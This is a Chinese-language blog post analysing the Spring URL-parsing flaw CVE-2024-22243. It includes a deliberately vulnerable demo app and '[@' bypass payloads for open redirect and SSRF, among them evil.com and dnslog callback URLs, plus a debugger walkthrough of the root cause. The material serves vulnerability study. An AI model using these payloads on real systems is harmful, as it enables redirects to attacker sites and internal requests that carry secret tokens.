spring 下的 SSRF 漏洞绕过分析以及成因
spring 下的 SSRF 漏洞绕过分析以及成因
spring 下的 SSRF 漏洞绕过分析以及成因
前言
java 项目的 ssrf 漏洞一般较少,借着 Spring 的 ssrf 漏洞正好来分析一下 spring 框架下的 ssrf 漏洞和绕过的原因
环境搭建
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
<version>3.2.2</version>
</dependency>
<!-- WebClient class dependency -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-webflux</artifactId>
<version>3.2.2</version>
</dependency>
</dependencies>
漏洞代码
// Author: Sean Pesce
//
package com.seanpesce.spring;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.URL;
import java.nio.file.FileSystems;
import java.util.Arrays;
import java.util.logging.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.HttpClientErrorException;
import org.springframework.web.client.RestClient;
import org.springframework.web.client.RestOperations;
import org.springframework.web.client.RestTemplate;
import org.springframework.web.reactive.function.client.WebClient;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.util.UriComponents;
import org.springframework.web.util.UriComponentsBuilder;
@RestController
@SpringBootApplication
public class VulnerableWebApp {
static Logger logger = Logger.getLogger(VulnerableWebApp.class.getName());
public static final String CVE_ID = "CVE-2024-22243";
public static final String PATH_REDIRECT = "/redirect";
public static final String PATH_HEALTH_CHECK = "/health-check";
public static short PORT = 9999;
// Trusted hosts for redirects
public static final String[] TRUSTED_REDIRECT_HOSTS = new String[]{
"127.0.0.1",
"github.com",
"google.com",
"localhost",
"seanpesce.com",
"seanpesce.github.io",
"wikipedia.org",
};
// Trusted hosts for back-end requests
public static final String[] TRUSTED_INTERNAL_HOSTS = new String[]{
"127.0.0.1",
"localhost",
};
public static ModelAndView makeGenericResponse(HttpStatus status, String title, String msg) {
ModelAndView modelAndView = new ModelAndView("generic");
modelAndView.setStatus(status);
modelAndView.addObject("titleMessage", title);
modelAndView.addObject("bodyMessage", msg);
return modelAndView;
}
public static ModelAndView makeResponse400(String msg) {
return makeGenericResponse(HttpStatus.BAD_REQUEST, "Error 400 - Bad Request", msg);
}
public static ModelAndView makeResponse200(String msg) {
return makeGenericResponse(HttpStatus.OK, "Success", msg);
}
public static String makeHtmlHeader() {
StringBuilder sBuilder = new StringBuilder();
sBuilder.append("<!DOCTYPE html>\n");
sBuilder.append("<!-- Author: Sean Pesce -->\n");
sBuilder.append("<html>\n");
sBuilder.append("<head>\n");
sBuilder.append("<meta charset=\"UTF-8\">\n");
sBuilder.append("<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n");
sBuilder.append("<link rel=\"shortcut icon\" href=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAABBVBMVEU/UbU/UbQ/UbY+ULI/ULM+T7BAUrc+ULM7TKg+T7E8Tq0/ULQ9T687Tao/Urc+ULQ6SqQ4SJ5CVLxCVb5DVr9CVL0dJlQoNHRBVLtEV8I8Taw/UrZEV8M6SqYkL2kfJ1gSFzQAAAAKDRwYHkMmMW01RJc6S6hDVsA8TasmMW4dJVMMDyEIChcuO4QJDBoAAQEBAQMEBgwcJFA6S6c0Q5UZIUkHCRMBAgQcJVEjLWUvPIYGBxAKDR0BAQIDBAk3R54OEicCAgUpNXY5SaM8Ta0cJE8FBg0TGTYVGzszQZExP4wXHkMZIUhAU7k9T7A2RpxDVsFBVLwuO4I4SKFBU7tBU7r///9e5KOYAAAAAWJLR0RWCg3piQAAAAd0SU1FB+cGHgwIFs0EkqsAAAC6SURBVBjTY2BAAEYmZhYkLhMrIxs7BxOSACcXNw8vHwM/OyNMRECQh5GdQUiYjZ2ZEaSSkZGRTUSUQUycU0KSQUqagZ1NRkpWTp5BQVFJWUVVTZpBXUNTS1tHgUFXT1HfwNDI2MTUTFHR3MKSgdnK2sZW0U7W3sFR0VHRyZnBRc3Vzd3DU0Lay9vDzEfGl4HRz8+fPSCQTTYogD3YjwHoBibpECZ2dgY2CWamUGmIi7jBJDsDIzcDWQAAiSYStruNAvgAAAAldEVYdGRhdGU6Y3JlYXRlADIwMjMtMDYtMzBUMTI6MDg6MjIrMDA6MDDAnJm4AAAAJXRFWHRkYXRlOm1vZGlmeQAyMDIzLTA2LTMwVDEyOjA4OjIyKzAwOjAwscEhBAAAACh0RVh0ZGF0ZTp0aW1lc3RhbXAAMjAyMy0wNi0zMFQxMjowODoyMiswMDowMObUANsAAAAASUVORK5CYII=\">\n");
sBuilder.append("<title>Spring " + CVE_ID + " | Sean Pesce</title>\n");
sBuilder.append("<style>\n");
sBuilder.append("body { font: normal 16px Verdana, Arial, sans-serif; padding: 20px; }\n");
sBuilder.append("</style>\n");
sBuilder.append("</head>\n");
return sBuilder.toString();
}
@GetMapping("/")
public String homepage() {
StringBuilder sBuilder = new StringBuilder();
sBuilder.append(makeHtmlHeader());
sBuilder.append("<body>\n");
sBuilder.append("<h1>" + CVE_ID + "</h1>\n");
sBuilder.append("<b>Author: Sean Pesce</b>\n");
sBuilder.append("<br><br><br>\n");
sBuilder.append("This web app demonstrates potentially-exploitable scenarios for " + CVE_ID + " in the Spring Framework:\n");
sBuilder.append("<br>\n");
sBuilder.append("<ul>\n");
sBuilder.append("<li><a href=\"" + PATH_REDIRECT + "\">Open redirect</a></li>\n");
sBuilder.append("<li><a href=\"" + PATH_HEALTH_CHECK + "\">Server-Side Request Forgery (SSRF)</a></li>\n");
sBuilder.append("</ul>\n");
sBuilder.append("</body>\n");
sBuilder.append("</html>\n");
return sBuilder.toString();
}
// Example: Open Redirect (CWE-601)
// Exploitable with a URL such as "https://google.com[@evil.com"
// To test this, simply navigate to http://127.0.0.1:${PORT}/redirect?url=https://google.com%5b@evil.com
@GetMapping(PATH_REDIRECT)
public ModelAndView openRedirect(@RequestParam(name="url", required=false) String url) {
// Verify that the user provided a redirect URL
if (url == null || url.isEmpty()) {
return makeResponse400("Please provide a redirect URL with the \"url\" parameter");
}
// Check for a valid web URL
if (!(url.startsWith("http://") || url.startsWith("https://"))) {
return makeResponse400("Not a valid web URL - must start with \"http(s)://\"");
}
// Parse the host from the redirect URL
String host = UriComponentsBuilder.fromHttpUrl(url).build().getHost();
//String host = UriComponentsBuilder.fromUriString(url).build().getHost(); // Also vulnerable
// Confirm that the redirect URL points to a trusted website
if (Arrays.asList(TRUSTED_REDIRECT_HOSTS).contains(host)) {
// Redirect to the specified URL
ModelAndView modelAndView = new ModelAndView("redirect:" + url);
return modelAndView;
}
// Redirect URL does not point to a trusted host
return makeResponse400("Invalid redirect URL - \"" + host + "\" is not a trusted host name ");
}
// Example: Server-side Request Forgery (SSRF) (CWE-918)
// Exploitable with a URL such as "https://evil.com[@127.0.0.1"
// To test this, simply navigate to http://127.0.0.1:${PORT}/health-check?url=https://evil.com%5b@127.0.0.1
@GetMapping(PATH_HEALTH_CHECK)
public ModelAndView ssrf(@RequestParam(name="url", required=false) String url) {
// Verify that the user provided a server URL
if (url == null || url.isEmpty()) {
return makeResponse400("Please provide a server URL with the \"url\" parameter");
}
logger.info("Performing health check for URL: \"" + url + "\"");
// Check for a valid web URL
if (!(url.startsWith("http://") || url.startsWith("https://"))) {
return makeResponse400("Not a valid web URL - must start with \"http(s)://\"");
}
// Parse the host from the server URL
String host = "";
try {
host = new URL(url).getHost();
} catch (MalformedURLException err) {
logger.warning("Error for URL: \"" + url + "\":\n " + err);
return makeResponse400("Health check failed:\n " + err);
}
HttpHeaders headers = new HttpHeaders();
// Check whether the server URL points to a trusted internal host
if (Arrays.asList(TRUSTED_INTERNAL_HOSTS).contains(host)) {
// Add a secret authentication token header for trusted internal servers
logger.info("Appending auth token for internal host: \"" + host + "\"");
headers.add("X-Auth", "SECRET_TOKEN_VALUE");
}
// Send an HTTP GET request to see if the target server is "healthy"
ResponseEntity<String> responseEntity = null;
try {
// RestTemplate/RestOperations implementation:
RestOperations restTemplate = new RestTemplate();
HttpEntity<?> requestEntity = new HttpEntity<Object>(headers);
responseEntity = restTemplate.exchange(url, HttpMethod.GET, requestEntity, String.class);
// // WebClient implementation:
// WebClient webClient = WebClient.create();
// responseEntity = webClient.get()
// .uri(url)
// .headers(httpHeaders -> httpHeaders.addAll(headers))
// .retrieve()
// .toEntity(String.class)
// .block();
// // RestClient implementation:
// RestClient restClient = RestClient.create();
// responseEntity = restClient.get()
// .uri(url)
// .headers(httpHeaders -> httpHeaders.addAll(headers))
// .retrieve()
// .toEntity(String.class);
} catch (Exception err) {
// Throws HttpClientErrorException if an HTTP 4XX response is received
logger.warning("Error for URL: \"" + url + "\":\n " + err);
return makeResponse400("Health check failed:\n " + err);
}
if (responseEntity != null) {
return makeResponse200("Health check passed: " + responseEntity.getStatusCodeValue());
}
return makeResponse400("Health check failed.");
}
public static void main(String[] args) throws URISyntaxException {
// Get JAR file path for help output
String jarName = VulnerableWebApp.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath();
jarName = jarName.substring(jarName.lastIndexOf(FileSystems.getDefault().getSeparator()) + 1);
if (Arrays.stream(args).anyMatch(arg -> arg.equals("--help") || arg.equals("-h"))) {
System.out.println("Usage: \n\n java -jar " + jarName + " [port]\n\nDefault port: " + PORT);
System.exit(0);
}
if (args.length > 0) {
PORT = Short.parseShort(args[0]);
}
System.setProperty("server.port", Short.toString(PORT));
// Start the vulnerable web application
SpringApplication.run(VulnerableWebApp.class, args);
}
}https://github.com/SeanPesce/CVE-2024-22243
Spring 的重定向
漏洞复现
启动环境后
这里代码有两种情况
一种是 Spring 的重定向
我们输入如下的 payload
http://127.0.0.1:9999/redirect?url=http://127.0.0.1%5B@www.baidu.com注意这里必须要编码,%5B 就是 [

成功重定向到了百度绕过了检测
漏洞分析
我们调试分析一下
首先检测我们的起始头,需要 http 协议或者 https
if (!(url.startsWith("http://") || url.startsWith("https://"))) {
return makeResponse400("Not a valid web URL - must start with \"http(s)://\"");
}然后就是对 host 的处理

将我们的 url 传入了 fromHttpUrl 处理
public static UriComponentsBuilder fromHttpUrl(String httpUrl) {
Assert.notNull(httpUrl, "HTTP URL must not be null");
Matcher matcher = HTTP_URL_PATTERN.matcher(httpUrl);
if (matcher.matches()) {
UriComponentsBuilder builder = new UriComponentsBuilder();
String scheme = matcher.group(1);
builder.scheme(scheme != null ? scheme.toLowerCase() : null);
builder.userInfo(matcher.group(4));
String host = matcher.group(5);
if (StringUtils.hasLength(scheme) && !StringUtils.hasLength(host)) {
throw new IllegalArgumentException("[" + httpUrl + "] is not a valid HTTP URL");
} else {
builder.host(host);
String port = matcher.group(7);
if (StringUtils.hasLength(port)) {
builder.port(port);
}
builder.path(matcher.group(8));
builder.query(matcher.group(10));
String fragment = matcher.group(12);
if (StringUtils.hasText(fragment)) {
builder.fragment(fragment);
}
return builder;
}
} else {
throw new IllegalArgumentException("[" + httpUrl + "] is not a valid HTTP URL");
}
}首先使用正则表达式匹配

对于的匹配规则如下
private static final Pattern QUERY_PARAM_PATTERN = Pattern.compile("([^&=]+)(=?)([^&]+)?");
private static final String SCHEME_PATTERN = "([^:/?#]+):";
private static final String HTTP_PATTERN = "(?i)(http|https):";
private static final String USERINFO_PATTERN = "([^@\\[/?#]*)";
private static final String HOST_IPV4_PATTERN = "[^\\[/?#:]*";
private static final String HOST_IPV6_PATTERN = "\\[[\\p{XDigit}:.]*[%\\p{Alnum}]*]";
private static final String HOST_PATTERN = "(\\[[\\p{XDigit}:.]*[%\\p{Alnum}]*]|[^\\[/?#:]*)";
private static final String PORT_PATTERN = "(\\{[^}]+\\}?|[^/?#]*)";
private static final String PATH_PATTERN = "([^?#]*)";
private static final String QUERY_PATTERN = "([^#]*)";
private static final String LAST_PATTERN = "(.*)";
private static final Pattern URI_PATTERN = Pattern.compile("^(([^:/?#]+):)?(//(([^@\\[/?#]*)@)?(\\[[\\p{XDigit}:.]*[%\\p{Alnum}]*]|[^\\[/?#:]*)(:(\\{[^}]+\\}?|[^/?#]*))?)?([^?#]*)(\\?([^#]*))?(#(.*))?");
private static final Pattern HTTP_URL_PATTERN = Pattern.compile("^(?i)(http|https):(//(([^@\\[/?#]*)@)?(\\[[\\p{XDigit}:.]*[%\\p{Alnum}]*]|[^\\[/?#:]*)(:(\\{[^}]+\\}?|[^/?#]*))?)?([^?#]*)(\\?([^#]*))?(#(.*))?");
解析出来我们的 url 为 127.0.0.1,而因为 [ 把我们后面的域名解析为了用户信息

public static final String[] TRUSTED_REDIRECT_HOSTS = new String[]{
"127.0.0.1",
"github.com",
"google.com",
"localhost",
"seanpesce.com",
"seanpesce.github.io",
"wikipedia.org",
};是在我们的白名单中,然后重定向

但是在重定向的过程中实际解析的域名是@后面的域名
直接重定向到百度

Spring 与 URL 类解析差异绕过
漏洞复现
代码如下
@GetMapping(PATH_HEALTH_CHECK)
public ModelAndView ssrf(@RequestParam(name="url", required=false) String url) {
// Verify that the user provided a server URL
if (url == null || url.isEmpty()) {
return makeResponse400("Please provide a server URL with the \"url\" parameter");
}
logger.info("Performing health check for URL: \"" + url + "\"");
// Check for a valid web URL
if (!(url.startsWith("http://") || url.startsWith("https://"))) {
return makeResponse400("Not a valid web URL - must start with \"http(s)://\"");
}
// Parse the host from the server URL
String host = "";
try {
host = new URL(url).getHost();
} catch (MalformedURLException err) {
logger.warning("Error for URL: \"" + url + "\":\n " + err);
return makeResponse400("Health check failed:\n " + err);
}
HttpHeaders headers = new HttpHeaders();
// Check whether the server URL points to a trusted internal host
if (Arrays.asList(TRUSTED_INTERNAL_HOSTS).contains(host)) {
// Add a secret authentication token header for trusted internal servers
logger.info("Appending auth token for internal host: \"" + host + "\"");
headers.add("X-Auth", "SECRET_TOKEN_VALUE");
}
// Send an HTTP GET request to see if the target server is "healthy"
ResponseEntity<String> responseEntity = null;
try {
// RestTemplate/RestOperations implementation:
RestOperations restTemplate = new RestTemplate();
HttpEntity<?> requestEntity = new HttpEntity<Object>(headers);
responseEntity = restTemplate.exchange(url, HttpMethod.GET, requestEntity, String.class);
} catch (Exception err) {
// Throws HttpClientErrorException if an HTTP 4XX response is received
logger.warning("Error for URL: \"" + url + "\":\n " + err);
return makeResponse400("Health check failed:\n " + err);
}
if (responseEntity != null) {
return makeResponse200("Health check passed: " + responseEntity.getStatusCodeValue());
}
return makeResponse400("Health check failed.");
}这次获取 host 的方法使用了 URL 类去解析
输入如下 payload
http://127.0.0.1:9999/health-check?url=https://8c0b613b.log.dnslog.sbs.%5B@127.0.0.1
可以看到了访问记录
调试分析

首先是不为空和标准的检测
然后获取 host 的方法变了,是使用 host = new URL(url).getHost();
<init>:703, URL (java.net)
<init>:569, URL (java.net)
<init>:516, URL (java.net)
ssrf:170, VulnerableWebApp (com.seanpesce.spring)
是通过 parseURL 去解析的
代码很长解析逻辑如下
当 URL 以 // 开头时,表示 URL 包含 Authority 部分 (即 [userInfo@]host[:port])
if (!isUNCName && (start <= limit - 2) && (spec.charAt(start) == '/') &&
(spec.charAt(start + 1) == '/')) {
start += 2;
i = spec.indexOf('/', start);
if (i < 0 || i > limit) {
i = spec.indexOf('?', start);
if (i < 0 || i > limit)
i = limit;
}
host = authority = spec.substring(start, i);
}
解析 UserInfo 和 Host
int ind = authority.indexOf('@');
if (ind != -1) {
if (ind != authority.lastIndexOf('@')) {
// 多个 '@',非法
userInfo = null;
host = null;
} else {
userInfo = authority.substring(0, ind);
host = authority.substring(ind+1);
}
} else {
userInfo = null;
}
如果 authority 包含 @,那么 @ 之前的部分是 userInfo,@ 之后的部分是 host[:port]
解析出来是 127.0.0.1
那为什么我们的域名能够被正常访问呢
具体逻辑是在 exchange 方法
RestOperations restTemplate = new RestTemplate();
HttpEntity<?> requestEntity = new HttpEntity<Object>(headers);
responseEntity = restTemplate.exchange(url, HttpMethod.GET, requestEntity, String.class);跟进
public <T> ResponseEntity<T> exchange(String url, HttpMethod method, @Nullable HttpEntity<?> requestEntity, Class<T> responseType, Object... uriVariables) throws RestClientException {
RequestCallback requestCallback = this.httpEntityCallback(requestEntity, responseType);
ResponseExtractor<ResponseEntity<T>> responseExtractor = this.responseEntityExtractor(responseType);
return (ResponseEntity)nonNull((ResponseEntity)this.execute(url, method, requestCallback, responseExtractor, uriVariables));
}url 被传入了 execute
直接给出调用栈
最后来到 initUriComponentsBuilder 方法
private UriComponentsBuilder initUriComponentsBuilder(String uriTemplate) {
UriComponentsBuilder result;
if (!StringUtils.hasLength(uriTemplate)) {
result = DefaultUriBuilderFactory.this.baseUri != null ? DefaultUriBuilderFactory.this.baseUri.cloneBuilder() : UriComponentsBuilder.newInstance();
} else if (DefaultUriBuilderFactory.this.baseUri != null) {
UriComponentsBuilder builder = UriComponentsBuilder.fromUriString(uriTemplate);
UriComponents uri = builder.build();
result = uri.getHost() == null ? DefaultUriBuilderFactory.this.baseUri.cloneBuilder().uriComponents(uri) : builder;
} else {
result = UriComponentsBuilder.fromUriString(uriTemplate);
}
if (DefaultUriBuilderFactory.this.encodingMode.equals(DefaultUriBuilderFactory.EncodingMode.TEMPLATE_AND_VALUES)) {
result.encode();
}
this.parsePathIfNecessary(result);
return result;
}而它的底层也是使用 fromUriString 来解析的


导致我们实际的 host 为我们的目标地址,导致了绕过